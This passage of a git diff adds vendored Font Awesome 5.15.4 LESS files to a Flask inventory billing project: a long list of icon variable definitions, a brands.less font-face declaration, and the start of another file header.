"\e080"; +@fa-var-instagram: "\f16d"; +@fa-var-instagram-square: "\e055"; +@fa-var-instalod: "\e081"; +@fa-var-intercom: "\f7af"; +@fa-var-internet-explorer: "\f26b"; +@fa-var-invision: "\f7b0"; +@fa-var-ioxhost: "\f208"; +@fa-var-italic: "\f033"; +@fa-var-itch-io: "\f83a"; +@fa-var-itunes: "\f3b4"; +@fa-var-itunes-note: "\f3b5"; +@fa-var-java: "\f4e4"; +@fa-var-jedi: "\f669"; +@fa-var-jedi-order: "\f50e"; +@fa-var-jenkins: "\f3b6"; +@fa-var-jira: "\f7b1"; +@fa-var-joget: "\f3b7"; +@fa-var-joint: "\f595"; +@fa-var-joomla: "\f1aa"; +@fa-var-journal-whills: "\f66a"; +@fa-var-js: "\f3b8"; +@fa-var-js-square: "\f3b9"; +@fa-var-jsfiddle: "\f1cc"; +@fa-var-kaaba: "\f66b"; +@fa-var-kaggle: "\f5fa"; +@fa-var-key: "\f084"; +@fa-var-keybase: "\f4f5"; +@fa-var-keyboard: "\f11c"; +@fa-var-keycdn: "\f3ba"; +@fa-var-khanda: "\f66d"; +@fa-var-kickstarter: "\f3bb"; +@fa-var-kickstarter-k: "\f3bc"; +@fa-var-kiss: "\f596"; +@fa-var-kiss-beam: "\f597"; +@fa-var-kiss-wink-heart: "\f598"; +@fa-var-kiwi-bird: "\f535"; +@fa-var-korvue: "\f42f"; +@fa-var-landmark: "\f66f"; +@fa-var-language: "\f1ab"; +@fa-var-laptop: "\f109"; +@fa-var-laptop-code: "\f5fc"; +@fa-var-laptop-house: "\e066"; +@fa-var-laptop-medical: "\f812"; +@fa-var-laravel: "\f3bd"; +@fa-var-lastfm: "\f202"; +@fa-var-lastfm-square: "\f203"; +@fa-var-laugh: "\f599"; +@fa-var-laugh-beam: "\f59a"; +@fa-var-laugh-squint: "\f59b"; +@fa-var-laugh-wink: "\f59c"; +@fa-var-layer-group: "\f5fd"; +@fa-var-leaf: "\f06c"; +@fa-var-leanpub: "\f212"; +@fa-var-lemon: "\f094"; +@fa-var-less: "\f41d"; +@fa-var-less-than: "\f536"; +@fa-var-less-than-equal: "\f537"; +@fa-var-level-down-alt: "\f3be"; +@fa-var-level-up-alt: "\f3bf"; +@fa-var-life-ring: "\f1cd"; +@fa-var-lightbulb: "\f0eb"; +@fa-var-line: "\f3c0"; +@fa-var-link: "\f0c1"; +@fa-var-linkedin: "\f08c"; +@fa-var-linkedin-in: "\f0e1"; +@fa-var-linode: "\f2b8"; +@fa-var-linux: "\f17c"; +@fa-var-lira-sign: "\f195"; +@fa-var-list: "\f03a"; +@fa-var-list-alt: "\f022"; +@fa-var-list-ol: "\f0cb"; +@fa-var-list-ul: "\f0ca"; +@fa-var-location-arrow: "\f124"; +@fa-var-lock: "\f023"; +@fa-var-lock-open: "\f3c1"; +@fa-var-long-arrow-alt-down: "\f309"; +@fa-var-long-arrow-alt-left: "\f30a"; +@fa-var-long-arrow-alt-right: "\f30b"; +@fa-var-long-arrow-alt-up: "\f30c"; +@fa-var-low-vision: "\f2a8"; +@fa-var-luggage-cart: "\f59d"; +@fa-var-lungs: "\f604"; +@fa-var-lungs-virus: "\e067"; +@fa-var-lyft: "\f3c3"; +@fa-var-magento: "\f3c4"; +@fa-var-magic: "\f0d0"; +@fa-var-magnet: "\f076"; +@fa-var-mail-bulk: "\f674"; +@fa-var-mailchimp: "\f59e"; +@fa-var-male: "\f183"; +@fa-var-mandalorian: "\f50f"; +@fa-var-map: "\f279"; +@fa-var-map-marked: "\f59f"; +@fa-var-map-marked-alt: "\f5a0"; +@fa-var-map-marker: "\f041"; +@fa-var-map-marker-alt: "\f3c5"; +@fa-var-map-pin: "\f276"; +@fa-var-map-signs: "\f277"; +@fa-var-markdown: "\f60f"; +@fa-var-marker: "\f5a1"; +@fa-var-mars: "\f222"; +@fa-var-mars-double: "\f227"; +@fa-var-mars-stroke: "\f229"; +@fa-var-mars-stroke-h: "\f22b"; +@fa-var-mars-stroke-v: "\f22a"; +@fa-var-mask: "\f6fa"; +@fa-var-mastodon: "\f4f6"; +@fa-var-maxcdn: "\f136"; +@fa-var-mdb: "\f8ca"; +@fa-var-medal: "\f5a2"; +@fa-var-medapps: "\f3c6"; +@fa-var-medium: "\f23a"; +@fa-var-medium-m: "\f3c7"; +@fa-var-medkit: "\f0fa"; +@fa-var-medrt: "\f3c8"; +@fa-var-meetup: "\f2e0"; +@fa-var-megaport: "\f5a3"; +@fa-var-meh: "\f11a"; +@fa-var-meh-blank: "\f5a4"; +@fa-var-meh-rolling-eyes: "\f5a5"; +@fa-var-memory: "\f538"; +@fa-var-mendeley: "\f7b3"; +@fa-var-menorah: "\f676"; +@fa-var-mercury: "\f223"; +@fa-var-meteor: "\f753"; +@fa-var-microblog: "\e01a"; +@fa-var-microchip: "\f2db"; +@fa-var-microphone: "\f130"; +@fa-var-microphone-alt: "\f3c9"; +@fa-var-microphone-alt-slash: "\f539"; +@fa-var-microphone-slash: "\f131"; +@fa-var-microscope: "\f610"; +@fa-var-microsoft: "\f3ca"; +@fa-var-minus: "\f068"; +@fa-var-minus-circle: "\f056"; +@fa-var-minus-square: "\f146"; +@fa-var-mitten: "\f7b5"; +@fa-var-mix: "\f3cb"; +@fa-var-mixcloud: "\f289"; +@fa-var-mixer: "\e056"; +@fa-var-mizuni: "\f3cc"; +@fa-var-mobile: "\f10b"; +@fa-var-mobile-alt: "\f3cd"; +@fa-var-modx: "\f285"; +@fa-var-monero: "\f3d0"; +@fa-var-money-bill: "\f0d6"; +@fa-var-money-bill-alt: "\f3d1"; +@fa-var-money-bill-wave: "\f53a"; +@fa-var-money-bill-wave-alt: "\f53b"; +@fa-var-money-check: "\f53c"; +@fa-var-money-check-alt: "\f53d"; +@fa-var-monument: "\f5a6"; +@fa-var-moon: "\f186"; +@fa-var-mortar-pestle: "\f5a7"; +@fa-var-mosque: "\f678"; +@fa-var-motorcycle: "\f21c"; +@fa-var-mountain: "\f6fc"; +@fa-var-mouse: "\f8cc"; +@fa-var-mouse-pointer: "\f245"; +@fa-var-mug-hot: "\f7b6"; +@fa-var-music: "\f001"; +@fa-var-napster: "\f3d2"; +@fa-var-neos: "\f612"; +@fa-var-network-wired: "\f6ff"; +@fa-var-neuter: "\f22c"; +@fa-var-newspaper: "\f1ea"; +@fa-var-nimblr: "\f5a8"; +@fa-var-node: "\f419"; +@fa-var-node-js: "\f3d3"; +@fa-var-not-equal: "\f53e"; +@fa-var-notes-medical: "\f481"; +@fa-var-npm: "\f3d4"; +@fa-var-ns8: "\f3d5"; +@fa-var-nutritionix: "\f3d6"; +@fa-var-object-group: "\f247"; +@fa-var-object-ungroup: "\f248"; +@fa-var-octopus-deploy: "\e082"; +@fa-var-odnoklassniki: "\f263"; +@fa-var-odnoklassniki-square: "\f264"; +@fa-var-oil-can: "\f613"; +@fa-var-old-republic: "\f510"; +@fa-var-om: "\f679"; +@fa-var-opencart: "\f23d"; +@fa-var-openid: "\f19b"; +@fa-var-opera: "\f26a"; +@fa-var-optin-monster: "\f23c"; +@fa-var-orcid: "\f8d2"; +@fa-var-osi: "\f41a"; +@fa-var-otter: "\f700"; +@fa-var-outdent: "\f03b"; +@fa-var-page4: "\f3d7"; +@fa-var-pagelines: "\f18c"; +@fa-var-pager: "\f815"; +@fa-var-paint-brush: "\f1fc"; +@fa-var-paint-roller: "\f5aa"; +@fa-var-palette: "\f53f"; +@fa-var-palfed: "\f3d8"; +@fa-var-pallet: "\f482"; +@fa-var-paper-plane: "\f1d8"; +@fa-var-paperclip: "\f0c6"; +@fa-var-parachute-box: "\f4cd"; +@fa-var-paragraph: "\f1dd"; +@fa-var-parking: "\f540"; +@fa-var-passport: "\f5ab"; +@fa-var-pastafarianism: "\f67b"; +@fa-var-paste: "\f0ea"; +@fa-var-patreon: "\f3d9"; +@fa-var-pause: "\f04c"; +@fa-var-pause-circle: "\f28b"; +@fa-var-paw: "\f1b0"; +@fa-var-paypal: "\f1ed"; +@fa-var-peace: "\f67c"; +@fa-var-pen: "\f304"; +@fa-var-pen-alt: "\f305"; +@fa-var-pen-fancy: "\f5ac"; +@fa-var-pen-nib: "\f5ad"; +@fa-var-pen-square: "\f14b"; +@fa-var-pencil-alt: "\f303"; +@fa-var-pencil-ruler: "\f5ae"; +@fa-var-penny-arcade: "\f704"; +@fa-var-people-arrows: "\e068"; +@fa-var-people-carry: "\f4ce"; +@fa-var-pepper-hot: "\f816"; +@fa-var-perbyte: "\e083"; +@fa-var-percent: "\f295"; +@fa-var-percentage: "\f541"; +@fa-var-periscope: "\f3da"; +@fa-var-person-booth: "\f756"; +@fa-var-phabricator: "\f3db"; +@fa-var-phoenix-framework: "\f3dc"; +@fa-var-phoenix-squadron: "\f511"; +@fa-var-phone: "\f095"; +@fa-var-phone-alt: "\f879"; +@fa-var-phone-slash: "\f3dd"; +@fa-var-phone-square: "\f098"; +@fa-var-phone-square-alt: "\f87b"; +@fa-var-phone-volume: "\f2a0"; +@fa-var-photo-video: "\f87c"; +@fa-var-php: "\f457"; +@fa-var-pied-piper: "\f2ae"; +@fa-var-pied-piper-alt: "\f1a8"; +@fa-var-pied-piper-hat: "\f4e5"; +@fa-var-pied-piper-pp: "\f1a7"; +@fa-var-pied-piper-square: "\e01e"; +@fa-var-piggy-bank: "\f4d3"; +@fa-var-pills: "\f484"; +@fa-var-pinterest: "\f0d2"; +@fa-var-pinterest-p: "\f231"; +@fa-var-pinterest-square: "\f0d3"; +@fa-var-pizza-slice: "\f818"; +@fa-var-place-of-worship: "\f67f"; +@fa-var-plane: "\f072"; +@fa-var-plane-arrival: "\f5af"; +@fa-var-plane-departure: "\f5b0"; +@fa-var-plane-slash: "\e069"; +@fa-var-play: "\f04b"; +@fa-var-play-circle: "\f144"; +@fa-var-playstation: "\f3df"; +@fa-var-plug: "\f1e6"; +@fa-var-plus: "\f067"; +@fa-var-plus-circle: "\f055"; +@fa-var-plus-square: "\f0fe"; +@fa-var-podcast: "\f2ce"; +@fa-var-poll: "\f681"; +@fa-var-poll-h: "\f682"; +@fa-var-poo: "\f2fe"; +@fa-var-poo-storm: "\f75a"; +@fa-var-poop: "\f619"; +@fa-var-portrait: "\f3e0"; +@fa-var-pound-sign: "\f154"; +@fa-var-power-off: "\f011"; +@fa-var-pray: "\f683"; +@fa-var-praying-hands: "\f684"; +@fa-var-prescription: "\f5b1"; +@fa-var-prescription-bottle: "\f485"; +@fa-var-prescription-bottle-alt: "\f486"; +@fa-var-print: "\f02f"; +@fa-var-procedures: "\f487"; +@fa-var-product-hunt: "\f288"; +@fa-var-project-diagram: "\f542"; +@fa-var-pump-medical: "\e06a"; +@fa-var-pump-soap: "\e06b"; +@fa-var-pushed: "\f3e1"; +@fa-var-puzzle-piece: "\f12e"; +@fa-var-python: "\f3e2"; +@fa-var-qq: "\f1d6"; +@fa-var-qrcode: "\f029"; +@fa-var-question: "\f128"; +@fa-var-question-circle: "\f059"; +@fa-var-quidditch: "\f458"; +@fa-var-quinscape: "\f459"; +@fa-var-quora: "\f2c4"; +@fa-var-quote-left: "\f10d"; +@fa-var-quote-right: "\f10e"; +@fa-var-quran: "\f687"; +@fa-var-r-project: "\f4f7"; +@fa-var-radiation: "\f7b9"; +@fa-var-radiation-alt: "\f7ba"; +@fa-var-rainbow: "\f75b"; +@fa-var-random: "\f074"; +@fa-var-raspberry-pi: "\f7bb"; +@fa-var-ravelry: "\f2d9"; +@fa-var-react: "\f41b"; +@fa-var-reacteurope: "\f75d"; +@fa-var-readme: "\f4d5"; +@fa-var-rebel: "\f1d0"; +@fa-var-receipt: "\f543"; +@fa-var-record-vinyl: "\f8d9"; +@fa-var-recycle: "\f1b8"; +@fa-var-red-river: "\f3e3"; +@fa-var-reddit: "\f1a1"; +@fa-var-reddit-alien: "\f281"; +@fa-var-reddit-square: "\f1a2"; +@fa-var-redhat: "\f7bc"; +@fa-var-redo: "\f01e"; +@fa-var-redo-alt: "\f2f9"; +@fa-var-registered: "\f25d"; +@fa-var-remove-format: "\f87d"; +@fa-var-renren: "\f18b"; +@fa-var-reply: "\f3e5"; +@fa-var-reply-all: "\f122"; +@fa-var-replyd: "\f3e6"; +@fa-var-republican: "\f75e"; +@fa-var-researchgate: "\f4f8"; +@fa-var-resolving: "\f3e7"; +@fa-var-restroom: "\f7bd"; +@fa-var-retweet: "\f079"; +@fa-var-rev: "\f5b2"; +@fa-var-ribbon: "\f4d6"; +@fa-var-ring: "\f70b"; +@fa-var-road: "\f018"; +@fa-var-robot: "\f544"; +@fa-var-rocket: "\f135"; +@fa-var-rocketchat: "\f3e8"; +@fa-var-rockrms: "\f3e9"; +@fa-var-route: "\f4d7"; +@fa-var-rss: "\f09e"; +@fa-var-rss-square: "\f143"; +@fa-var-ruble-sign: "\f158"; +@fa-var-ruler: "\f545"; +@fa-var-ruler-combined: "\f546"; +@fa-var-ruler-horizontal: "\f547"; +@fa-var-ruler-vertical: "\f548"; +@fa-var-running: "\f70c"; +@fa-var-rupee-sign: "\f156"; +@fa-var-rust: "\e07a"; +@fa-var-sad-cry: "\f5b3"; +@fa-var-sad-tear: "\f5b4"; +@fa-var-safari: "\f267"; +@fa-var-salesforce: "\f83b"; +@fa-var-sass: "\f41e"; +@fa-var-satellite: "\f7bf"; +@fa-var-satellite-dish: "\f7c0"; +@fa-var-save: "\f0c7"; +@fa-var-schlix: "\f3ea"; +@fa-var-school: "\f549"; +@fa-var-screwdriver: "\f54a"; +@fa-var-scribd: "\f28a"; +@fa-var-scroll: "\f70e"; +@fa-var-sd-card: "\f7c2"; +@fa-var-search: "\f002"; +@fa-var-search-dollar: "\f688"; +@fa-var-search-location: "\f689"; +@fa-var-search-minus: "\f010"; +@fa-var-search-plus: "\f00e"; +@fa-var-searchengin: "\f3eb"; +@fa-var-seedling: "\f4d8"; +@fa-var-sellcast: "\f2da"; +@fa-var-sellsy: "\f213"; +@fa-var-server: "\f233"; +@fa-var-servicestack: "\f3ec"; +@fa-var-shapes: "\f61f"; +@fa-var-share: "\f064"; +@fa-var-share-alt: "\f1e0"; +@fa-var-share-alt-square: "\f1e1"; +@fa-var-share-square: "\f14d"; +@fa-var-shekel-sign: "\f20b"; +@fa-var-shield-alt: "\f3ed"; +@fa-var-shield-virus: "\e06c"; +@fa-var-ship: "\f21a"; +@fa-var-shipping-fast: "\f48b"; +@fa-var-shirtsinbulk: "\f214"; +@fa-var-shoe-prints: "\f54b"; +@fa-var-shopify: "\e057"; +@fa-var-shopping-bag: "\f290"; +@fa-var-shopping-basket: "\f291"; +@fa-var-shopping-cart: "\f07a"; +@fa-var-shopware: "\f5b5"; +@fa-var-shower: "\f2cc"; +@fa-var-shuttle-van: "\f5b6"; +@fa-var-sign: "\f4d9"; +@fa-var-sign-in-alt: "\f2f6"; +@fa-var-sign-language: "\f2a7"; +@fa-var-sign-out-alt: "\f2f5"; +@fa-var-signal: "\f012"; +@fa-var-signature: "\f5b7"; +@fa-var-sim-card: "\f7c4"; +@fa-var-simplybuilt: "\f215"; +@fa-var-sink: "\e06d"; +@fa-var-sistrix: "\f3ee"; +@fa-var-sitemap: "\f0e8"; +@fa-var-sith: "\f512"; +@fa-var-skating: "\f7c5"; +@fa-var-sketch: "\f7c6"; +@fa-var-skiing: "\f7c9"; +@fa-var-skiing-nordic: "\f7ca"; +@fa-var-skull: "\f54c"; +@fa-var-skull-crossbones: "\f714"; +@fa-var-skyatlas: "\f216"; +@fa-var-skype: "\f17e"; +@fa-var-slack: "\f198"; +@fa-var-slack-hash: "\f3ef"; +@fa-var-slash: "\f715"; +@fa-var-sleigh: "\f7cc"; +@fa-var-sliders-h: "\f1de"; +@fa-var-slideshare: "\f1e7"; +@fa-var-smile: "\f118"; +@fa-var-smile-beam: "\f5b8"; +@fa-var-smile-wink: "\f4da"; +@fa-var-smog: "\f75f"; +@fa-var-smoking: "\f48d"; +@fa-var-smoking-ban: "\f54d"; +@fa-var-sms: "\f7cd"; +@fa-var-snapchat: "\f2ab"; +@fa-var-snapchat-ghost: "\f2ac"; +@fa-var-snapchat-square: "\f2ad"; +@fa-var-snowboarding: "\f7ce"; +@fa-var-snowflake: "\f2dc"; +@fa-var-snowman: "\f7d0"; +@fa-var-snowplow: "\f7d2"; +@fa-var-soap: "\e06e"; +@fa-var-socks: "\f696"; +@fa-var-solar-panel: "\f5ba"; +@fa-var-sort: "\f0dc"; +@fa-var-sort-alpha-down: "\f15d"; +@fa-var-sort-alpha-down-alt: "\f881"; +@fa-var-sort-alpha-up: "\f15e"; +@fa-var-sort-alpha-up-alt: "\f882"; +@fa-var-sort-amount-down: "\f160"; +@fa-var-sort-amount-down-alt: "\f884"; +@fa-var-sort-amount-up: "\f161"; +@fa-var-sort-amount-up-alt: "\f885"; +@fa-var-sort-down: "\f0dd"; +@fa-var-sort-numeric-down: "\f162"; +@fa-var-sort-numeric-down-alt: "\f886"; +@fa-var-sort-numeric-up: "\f163"; +@fa-var-sort-numeric-up-alt: "\f887"; +@fa-var-sort-up: "\f0de"; +@fa-var-soundcloud: "\f1be"; +@fa-var-sourcetree: "\f7d3"; +@fa-var-spa: "\f5bb"; +@fa-var-space-shuttle: "\f197"; +@fa-var-speakap: "\f3f3"; +@fa-var-speaker-deck: "\f83c"; +@fa-var-spell-check: "\f891"; +@fa-var-spider: "\f717"; +@fa-var-spinner: "\f110"; +@fa-var-splotch: "\f5bc"; +@fa-var-spotify: "\f1bc"; +@fa-var-spray-can: "\f5bd"; +@fa-var-square: "\f0c8"; +@fa-var-square-full: "\f45c"; +@fa-var-square-root-alt: "\f698"; +@fa-var-squarespace: "\f5be"; +@fa-var-stack-exchange: "\f18d"; +@fa-var-stack-overflow: "\f16c"; +@fa-var-stackpath: "\f842"; +@fa-var-stamp: "\f5bf"; +@fa-var-star: "\f005"; +@fa-var-star-and-crescent: "\f699"; +@fa-var-star-half: "\f089"; +@fa-var-star-half-alt: "\f5c0"; +@fa-var-star-of-david: "\f69a"; +@fa-var-star-of-life: "\f621"; +@fa-var-staylinked: "\f3f5"; +@fa-var-steam: "\f1b6"; +@fa-var-steam-square: "\f1b7"; +@fa-var-steam-symbol: "\f3f6"; +@fa-var-step-backward: "\f048"; +@fa-var-step-forward: "\f051"; +@fa-var-stethoscope: "\f0f1"; +@fa-var-sticker-mule: "\f3f7"; +@fa-var-sticky-note: "\f249"; +@fa-var-stop: "\f04d"; +@fa-var-stop-circle: "\f28d"; +@fa-var-stopwatch: "\f2f2"; +@fa-var-stopwatch-20: "\e06f"; +@fa-var-store: "\f54e"; +@fa-var-store-alt: "\f54f"; +@fa-var-store-alt-slash: "\e070"; +@fa-var-store-slash: "\e071"; +@fa-var-strava: "\f428"; +@fa-var-stream: "\f550"; +@fa-var-street-view: "\f21d"; +@fa-var-strikethrough: "\f0cc"; +@fa-var-stripe: "\f429"; +@fa-var-stripe-s: "\f42a"; +@fa-var-stroopwafel: "\f551"; +@fa-var-studiovinari: "\f3f8"; +@fa-var-stumbleupon: "\f1a4"; +@fa-var-stumbleupon-circle: "\f1a3"; +@fa-var-subscript: "\f12c"; +@fa-var-subway: "\f239"; +@fa-var-suitcase: "\f0f2"; +@fa-var-suitcase-rolling: "\f5c1"; +@fa-var-sun: "\f185"; +@fa-var-superpowers: "\f2dd"; +@fa-var-superscript: "\f12b"; +@fa-var-supple: "\f3f9"; +@fa-var-surprise: "\f5c2"; +@fa-var-suse: "\f7d6"; +@fa-var-swatchbook: "\f5c3"; +@fa-var-swift: "\f8e1"; +@fa-var-swimmer: "\f5c4"; +@fa-var-swimming-pool: "\f5c5"; +@fa-var-symfony: "\f83d"; +@fa-var-synagogue: "\f69b"; +@fa-var-sync: "\f021"; +@fa-var-sync-alt: "\f2f1"; +@fa-var-syringe: "\f48e"; +@fa-var-table: "\f0ce"; +@fa-var-table-tennis: "\f45d"; +@fa-var-tablet: "\f10a"; +@fa-var-tablet-alt: "\f3fa"; +@fa-var-tablets: "\f490"; +@fa-var-tachometer-alt: "\f3fd"; +@fa-var-tag: "\f02b"; +@fa-var-tags: "\f02c"; +@fa-var-tape: "\f4db"; +@fa-var-tasks: "\f0ae"; +@fa-var-taxi: "\f1ba"; +@fa-var-teamspeak: "\f4f9"; +@fa-var-teeth: "\f62e"; +@fa-var-teeth-open: "\f62f"; +@fa-var-telegram: "\f2c6"; +@fa-var-telegram-plane: "\f3fe"; +@fa-var-temperature-high: "\f769"; +@fa-var-temperature-low: "\f76b"; +@fa-var-tencent-weibo: "\f1d5"; +@fa-var-tenge: "\f7d7"; +@fa-var-terminal: "\f120"; +@fa-var-text-height: "\f034"; +@fa-var-text-width: "\f035"; +@fa-var-th: "\f00a"; +@fa-var-th-large: "\f009"; +@fa-var-th-list: "\f00b"; +@fa-var-the-red-yeti: "\f69d"; +@fa-var-theater-masks: "\f630"; +@fa-var-themeco: "\f5c6"; +@fa-var-themeisle: "\f2b2"; +@fa-var-thermometer: "\f491"; +@fa-var-thermometer-empty: "\f2cb"; +@fa-var-thermometer-full: "\f2c7"; +@fa-var-thermometer-half: "\f2c9"; +@fa-var-thermometer-quarter: "\f2ca"; +@fa-var-thermometer-three-quarters: "\f2c8"; +@fa-var-think-peaks: "\f731"; +@fa-var-thumbs-down: "\f165"; +@fa-var-thumbs-up: "\f164"; +@fa-var-thumbtack: "\f08d"; +@fa-var-ticket-alt: "\f3ff"; +@fa-var-tiktok: "\e07b"; +@fa-var-times: "\f00d"; +@fa-var-times-circle: "\f057"; +@fa-var-tint: "\f043"; +@fa-var-tint-slash: "\f5c7"; +@fa-var-tired: "\f5c8"; +@fa-var-toggle-off: "\f204"; +@fa-var-toggle-on: "\f205"; +@fa-var-toilet: "\f7d8"; +@fa-var-toilet-paper: "\f71e"; +@fa-var-toilet-paper-slash: "\e072"; +@fa-var-toolbox: "\f552"; +@fa-var-tools: "\f7d9"; +@fa-var-tooth: "\f5c9"; +@fa-var-torah: "\f6a0"; +@fa-var-torii-gate: "\f6a1"; +@fa-var-tractor: "\f722"; +@fa-var-trade-federation: "\f513"; +@fa-var-trademark: "\f25c"; +@fa-var-traffic-light: "\f637"; +@fa-var-trailer: "\e041"; +@fa-var-train: "\f238"; +@fa-var-tram: "\f7da"; +@fa-var-transgender: "\f224"; +@fa-var-transgender-alt: "\f225"; +@fa-var-trash: "\f1f8"; +@fa-var-trash-alt: "\f2ed"; +@fa-var-trash-restore: "\f829"; +@fa-var-trash-restore-alt: "\f82a"; +@fa-var-tree: "\f1bb"; +@fa-var-trello: "\f181"; +@fa-var-trophy: "\f091"; +@fa-var-truck: "\f0d1"; +@fa-var-truck-loading: "\f4de"; +@fa-var-truck-monster: "\f63b"; +@fa-var-truck-moving: "\f4df"; +@fa-var-truck-pickup: "\f63c"; +@fa-var-tshirt: "\f553"; +@fa-var-tty: "\f1e4"; +@fa-var-tumblr: "\f173"; +@fa-var-tumblr-square: "\f174"; +@fa-var-tv: "\f26c"; +@fa-var-twitch: "\f1e8"; +@fa-var-twitter: "\f099"; +@fa-var-twitter-square: "\f081"; +@fa-var-typo3: "\f42b"; +@fa-var-uber: "\f402"; +@fa-var-ubuntu: "\f7df"; +@fa-var-uikit: "\f403"; +@fa-var-umbraco: "\f8e8"; +@fa-var-umbrella: "\f0e9"; +@fa-var-umbrella-beach: "\f5ca"; +@fa-var-uncharted: "\e084"; +@fa-var-underline: "\f0cd"; +@fa-var-undo: "\f0e2"; +@fa-var-undo-alt: "\f2ea"; +@fa-var-uniregistry: "\f404"; +@fa-var-unity: "\e049"; +@fa-var-universal-access: "\f29a"; +@fa-var-university: "\f19c"; +@fa-var-unlink: "\f127"; +@fa-var-unlock: "\f09c"; +@fa-var-unlock-alt: "\f13e"; +@fa-var-unsplash: "\e07c"; +@fa-var-untappd: "\f405"; +@fa-var-upload: "\f093"; +@fa-var-ups: "\f7e0"; +@fa-var-usb: "\f287"; +@fa-var-user: "\f007"; +@fa-var-user-alt: "\f406"; +@fa-var-user-alt-slash: "\f4fa"; +@fa-var-user-astronaut: "\f4fb"; +@fa-var-user-check: "\f4fc"; +@fa-var-user-circle: "\f2bd"; +@fa-var-user-clock: "\f4fd"; +@fa-var-user-cog: "\f4fe"; +@fa-var-user-edit: "\f4ff"; +@fa-var-user-friends: "\f500"; +@fa-var-user-graduate: "\f501"; +@fa-var-user-injured: "\f728"; +@fa-var-user-lock: "\f502"; +@fa-var-user-md: "\f0f0"; +@fa-var-user-minus: "\f503"; +@fa-var-user-ninja: "\f504"; +@fa-var-user-nurse: "\f82f"; +@fa-var-user-plus: "\f234"; +@fa-var-user-secret: "\f21b"; +@fa-var-user-shield: "\f505"; +@fa-var-user-slash: "\f506"; +@fa-var-user-tag: "\f507"; +@fa-var-user-tie: "\f508"; +@fa-var-user-times: "\f235"; +@fa-var-users: "\f0c0"; +@fa-var-users-cog: "\f509"; +@fa-var-users-slash: "\e073"; +@fa-var-usps: "\f7e1"; +@fa-var-ussunnah: "\f407"; +@fa-var-utensil-spoon: "\f2e5"; +@fa-var-utensils: "\f2e7"; +@fa-var-vaadin: "\f408"; +@fa-var-vector-square: "\f5cb"; +@fa-var-venus: "\f221"; +@fa-var-venus-double: "\f226"; +@fa-var-venus-mars: "\f228"; +@fa-var-vest: "\e085"; +@fa-var-vest-patches: "\e086"; +@fa-var-viacoin: "\f237"; +@fa-var-viadeo: "\f2a9"; +@fa-var-viadeo-square: "\f2aa"; +@fa-var-vial: "\f492"; +@fa-var-vials: "\f493"; +@fa-var-viber: "\f409"; +@fa-var-video: "\f03d"; +@fa-var-video-slash: "\f4e2"; +@fa-var-vihara: "\f6a7"; +@fa-var-vimeo: "\f40a"; +@fa-var-vimeo-square: "\f194"; +@fa-var-vimeo-v: "\f27d"; +@fa-var-vine: "\f1ca"; +@fa-var-virus: "\e074"; +@fa-var-virus-slash: "\e075"; +@fa-var-viruses: "\e076"; +@fa-var-vk: "\f189"; +@fa-var-vnv: "\f40b"; +@fa-var-voicemail: "\f897"; +@fa-var-volleyball-ball: "\f45f"; +@fa-var-volume-down: "\f027"; +@fa-var-volume-mute: "\f6a9"; +@fa-var-volume-off: "\f026"; +@fa-var-volume-up: "\f028"; +@fa-var-vote-yea: "\f772"; +@fa-var-vr-cardboard: "\f729"; +@fa-var-vuejs: "\f41f"; +@fa-var-walking: "\f554"; +@fa-var-wallet: "\f555"; +@fa-var-warehouse: "\f494"; +@fa-var-watchman-monitoring: "\e087"; +@fa-var-water: "\f773"; +@fa-var-wave-square: "\f83e"; +@fa-var-waze: "\f83f"; +@fa-var-weebly: "\f5cc"; +@fa-var-weibo: "\f18a"; +@fa-var-weight: "\f496"; +@fa-var-weight-hanging: "\f5cd"; +@fa-var-weixin: "\f1d7"; +@fa-var-whatsapp: "\f232"; +@fa-var-whatsapp-square: "\f40c"; +@fa-var-wheelchair: "\f193"; +@fa-var-whmcs: "\f40d"; +@fa-var-wifi: "\f1eb"; +@fa-var-wikipedia-w: "\f266"; +@fa-var-wind: "\f72e"; +@fa-var-window-close: "\f410"; +@fa-var-window-maximize: "\f2d0"; +@fa-var-window-minimize: "\f2d1"; +@fa-var-window-restore: "\f2d2"; +@fa-var-windows: "\f17a"; +@fa-var-wine-bottle: "\f72f"; +@fa-var-wine-glass: "\f4e3"; +@fa-var-wine-glass-alt: "\f5ce"; +@fa-var-wix: "\f5cf"; +@fa-var-wizards-of-the-coast: "\f730"; +@fa-var-wodu: "\e088"; +@fa-var-wolf-pack-battalion: "\f514"; +@fa-var-won-sign: "\f159"; +@fa-var-wordpress: "\f19a"; +@fa-var-wordpress-simple: "\f411"; +@fa-var-wpbeginner: "\f297"; +@fa-var-wpexplorer: "\f2de"; +@fa-var-wpforms: "\f298"; +@fa-var-wpressr: "\f3e4"; +@fa-var-wrench: "\f0ad"; +@fa-var-x-ray: "\f497"; +@fa-var-xbox: "\f412"; +@fa-var-xing: "\f168"; +@fa-var-xing-square: "\f169"; +@fa-var-y-combinator: "\f23b"; +@fa-var-yahoo: "\f19e"; +@fa-var-yammer: "\f840"; +@fa-var-yandex: "\f413"; +@fa-var-yandex-international: "\f414"; +@fa-var-yarn: "\f7e3"; +@fa-var-yelp: "\f1e9"; +@fa-var-yen-sign: "\f157"; +@fa-var-yin-yang: "\f6ad"; +@fa-var-yoast: "\f2b1"; +@fa-var-youtube: "\f167"; +@fa-var-youtube-square: "\f431"; +@fa-var-zhihu: "\f63f"; diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/brands.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/brands.less new file mode 100644 index 00000000..a4bfa686 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/brands.less @@ -0,0 +1,23 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import "_variables.less"; + +@font-face { + font-family: 'Font Awesome 5 Brands'; + font-style: normal; + font-weight: 400; + font-display: @fa-font-display; + src: url('@{fa-font-path}/fa-brands-400.eot'); + src: url('@{fa-font-path}/fa-brands-400.eot?#iefix') format('embedded-opentype'), + url('@{fa-font-path}/fa-brands-400.woff2') format('woff2'), + url('@{fa-font-path}/fa-brands-400.woff') format('woff'), + url('@{fa-font-path}/fa-brands-400.ttf') format('truetype'), + url('@{fa-font-path}/fa-brands-400.svg#fontawesome') format('svg'); +} + +.fab { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/fontawesome.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/fontawesome.less new file mode 100644 index 00000000..7fce364e --- 